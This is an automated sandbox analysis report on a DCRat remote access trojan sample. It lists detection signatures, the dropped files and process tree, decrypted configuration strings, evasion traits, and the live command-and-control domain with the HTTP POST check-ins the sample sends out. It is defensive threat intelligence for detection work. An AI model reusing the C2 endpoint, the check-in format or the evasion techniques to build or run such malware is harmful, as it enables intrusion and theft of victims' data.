Edit tour

Windows Analysis Report
1hibLFnCm1.exe

Overview

General Information

Sample name:	1hibLFnCm1.exe renamed because original name is a hash value
Original sample name:	2196EDD4AD9D7E8CA345339A66E2FED5.exe
Analysis ID:	1466966
MD5:	2196edd4ad9d7e8ca345339a66e2fed5
SHA1:	d604a25d04700d19896c1dfe12586568fae5c32f
SHA256:	90a9d213bced2844dbf8a635244a85f29fa5af2c439ca7782709b1ebe304734a
Tags:	DCRatexe
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected DCRat

AI detected suspicious sample

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

1hibLFnCm1.exe (PID: 6532 cmdline: "C:\Users\user\Desktop\1hibLFnCm1.exe" MD5: 2196EDD4AD9D7E8CA345339A66E2FED5)

ms_tool.exe (PID: 6672 cmdline: "C:\Users\user\AppData\Roaming\ms_tool.exe" MD5: F3EDFF85DE5FD002692D54A04BCB1C09)

conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ms_updater.exe (PID: 6768 cmdline: "C:\Users\user\AppData\Roaming\ms_updater.exe" MD5: CEAC3DE237F6B1DC4B279D8E5F5B3689)

cmd.exe (PID: 7096 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6716 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 6600 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\ms_updater.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000003.00000000.1699967680.0000000000D92000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000003.00000002.1759262008.000000000314B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 1hibLFnCm1.exe PID: 6532	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: ms_updater.exe PID: 6768	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.0.ms_updater.exe.d90000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0.2.1hibLFnCm1.exe.f50000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Snort Signatures

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 104.21.90.190

Timestamp:	07/03/24-15:52:06.253098
SID:	2048095
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://118621cm.n9shteam2.top/	Avira URL Cloud: Label: malware
Source: http://118621cm.n9shteam2.top/protecttrackDatalifePrivateCentral.php	Avira URL Cloud: Label: malware
Source: http://118621cm.n9shteam2.top	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\gOvRVAND.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: 1hibLFnCm1.exe

ReversingLabs: Detection: 70%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 1hibLFnCm1.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 3.0.ms_updater.exe.d90000.0.unpack	String decryptor: {"0":[],"75400db8-4680-4af7-97bd-c8a76b65b9c4":{"_0":"AjqVFPjRdUMLGTTtnlMEjUReAbQurGJk","_1":"Application Error","_2":"The application was unable to start correctly (0xc000007b). Click OK to close the application.","_3":"Error","_4":"OK"}}
Source: 3.0.ms_updater.exe.d90000.0.unpack	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-Lio0c2TgfpaLmO8sHEt4","0","","","5","2","WyIwIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSXhJaXdpWlhsSmQwbHFiMmxsTVU1YVZURlNSbFJWVWxOVFZscEdabE01Vm1NeVZubGplVGhwVEVOSmVFbHFiMmxhYlVaell6SlZhVXhEU1hsSmFtOXBXbTFHYzJNeVZXbE1RMGw2U1dwdmFWcHRSbk5qTWxWcFRFTkpNRWxxYjJsYWJVWnpZekpWYVV4RFNURkphbTlwV20xR2MyTXlWV2xNUTBreVNXcHZhVnB0Um5Oak1sVnBURU5KTTBscWIybGFiVVp6WXpKVmFVeERTVFJKYW05cFpFaEtNVnBUU1hOSmFtdHBUMmxLYlZsWGVIcGFVMGx6U1dwRmQwbHFiMmxhYlVaell6SlZhVXhEU1hoTlUwazJTVzFhYUdKSVRteEphWGRwVFZSSmFVOXBTakJqYmxac1NXbDNhVTFVVFdsUGFVb3dZMjVXYkVscGQybE5WRkZwVDJsS01HTnVWbXhKYmpBOUlsMD0iXQ=="]

Source: 1hibLFnCm1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1hibLFnCm1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mountvol.pdb source: 1hibLFnCm1.exe, 1hibLFnCm1.exe, 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp, ms_tool.exe, 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmp, ms_tool.exe, 00000001.00000000.1699378223.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmp, ms_tool.exe.0.dr
Source:	Binary string: mountvol.pdbGCTL source: 1hibLFnCm1.exe, 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp, ms_tool.exe, 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmp, ms_tool.exe, 00000001.00000000.1699378223.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmp, ms_tool.exe.0.dr

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49730 -> 104.21.90.190:80

Source: Joe Sandbox View

IP Address: 104.21.90.190 104.21.90.190

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /protecttrackDatalifePrivateCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 118621cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protecttrackDatalifePrivateCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 118621cm.n9shteam2.topContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protecttrackDatalifePrivateCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 118621cm.n9shteam2.topContent-Length: 1536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protecttrackDatalifePrivateCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 118621cm.n9shteam2.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protecttrackDatalifePrivateCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 118621cm.n9shteam2.topContent-Length: 184204Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protecttrackDatalifePrivateCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 118621cm.n9shteam2.topContent-Length: 1056Expect: 100-continue

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 118621cm.n9shteam2.top

Source: unknown

HTTP traffic detected: POST /protecttrackDatalifePrivateCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 118621cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118621cm.n9shteX
Source: ms_updater.exe, 00000003.00000002.1759262008.00000000030D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118621cm.n9shteam2.top
Source: ms_updater.exe, 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118621cm.n9shteam2.top/
Source: ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp, ms_updater.exe, 00000003.00000002.1759262008.000000000314B000.00000004.00000800.00020000.00000000.sdmp, ms_updater.exe, 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, ms_updater.exe, 00000003.00000002.1759262008.00000000030D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118621cm.n9shteam2.top/protecttrackDatalifePrivateCentral.php
Source: ms_updater.exe, 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ms_tool.exe	Code function: 1_2_00007FF68C5E1494 LocalAlloc,NtQuerySystemInformation,LocalFree,LocalAlloc,LocalFree,		1_2_00007FF68C5E1494
Source: C:\Users\user\AppData\Roaming\ms_tool.exe	Code function: 1_2_00007FF68C5E1348 NtQuerySystemInformation,		1_2_00007FF68C5E1348

Source: C:\Users\user\AppData\Roaming\ms_tool.exe

Code function: 1_2_00007FF68C5E13B4: CreateFileW,DeviceIoControl,CloseHandle,

1_2_00007FF68C5E13B4

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F53860	0_2_00F53860
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F6D2BB	0_2_00F6D2BB
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F6DAB9	0_2_00F6DAB9
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F7420D	0_2_00F7420D
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F63B40	0_2_00F63B40
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F696DB	0_2_00F696DB
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F60E13	0_2_00F60E13
Source: C:\Users\user\AppData\Roaming\ms_tool.exe	Code function: 1_2_00007FF68C5E1754	1_2_00007FF68C5E1754
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAAC425	3_2_00007FFD9BAAC425
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAAC350	3_2_00007FFD9BAAC350
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAA1222	3_2_00007FFD9BAA1222
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAA8028	3_2_00007FFD9BAA8028
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAA8E70	3_2_00007FFD9BAA8E70
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAB48EE	3_2_00007FFD9BAB48EE
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BAA8E7F	3_2_00007FFD9BAA8E7F
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBEAC2A	3_2_00007FFD9BBEAC2A
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE8022	3_2_00007FFD9BBE8022
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE8B21	3_2_00007FFD9BBE8B21
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE1B10	3_2_00007FFD9BBE1B10
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE7276	3_2_00007FFD9BBE7276
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBF364E	3_2_00007FFD9BBF364E
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE4A0D	3_2_00007FFD9BBE4A0D
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE21B5	3_2_00007FFD9BBE21B5
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE49CD	3_2_00007FFD9BBE49CD
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBF813D	3_2_00007FFD9BBF813D
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE8B7D	3_2_00007FFD9BBE8B7D
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE1AF5	3_2_00007FFD9BBE1AF5
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBE49A8	3_2_00007FFD9BBE49A8
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Code function: 3_2_00007FFD9BBF7DB9	3_2_00007FFD9BBF7DB9

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\gOvRVAND.log AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

Code function: String function: 00F5BBC0 appears 55 times

Source: gOvRVAND.log.3.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: mHYqxgSr.log.3.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: 1hibLFnCm1.exe	Binary or memory string: OriginalFilename vs 1hibLFnCm1.exe
Source: 1hibLFnCm1.exe, 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 1hibLFnCm1.exe
Source: 1hibLFnCm1.exe, 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMOUNTVOL.EXEj% vs 1hibLFnCm1.exe

Source: 1hibLFnCm1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1hibLFnCm1.exe

Static PE information: Section: .cSs ZLIB complexity 0.9997302899534523

Source: gOvRVAND.log.3.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: mHYqxgSr.log.3.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@13/8@1/1

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

File created: C:\Users\user\AppData\Roaming\ms_tool.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6696:120:WilError_03
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-Lio0c2TgfpaLmO8sHEt4
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3940:120:WilError_03

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

File created: C:\Users\user\AppData\Local\Temp\LLzNk9wqw6

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat"

Source: 1hibLFnCm1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1hibLFnCm1.exe

ReversingLabs: Detection: 70%

Source: unknown	Process created: C:\Users\user\Desktop\1hibLFnCm1.exe "C:\Users\user\Desktop\1hibLFnCm1.exe"
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Process created: C:\Users\user\AppData\Roaming\ms_tool.exe "C:\Users\user\AppData\Roaming\ms_tool.exe"
Source: C:\Users\user\AppData\Roaming\ms_tool.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Process created: C:\Users\user\AppData\Roaming\ms_updater.exe "C:\Users\user\AppData\Roaming\ms_updater.exe"
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Process created: C:\Users\user\AppData\Roaming\ms_tool.exe "C:\Users\user\AppData\Roaming\ms_tool.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Process created: C:\Users\user\AppData\Roaming\ms_updater.exe "C:\Users\user\AppData\Roaming\ms_updater.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Section loaded: sspicli.dll	Jump to behavior
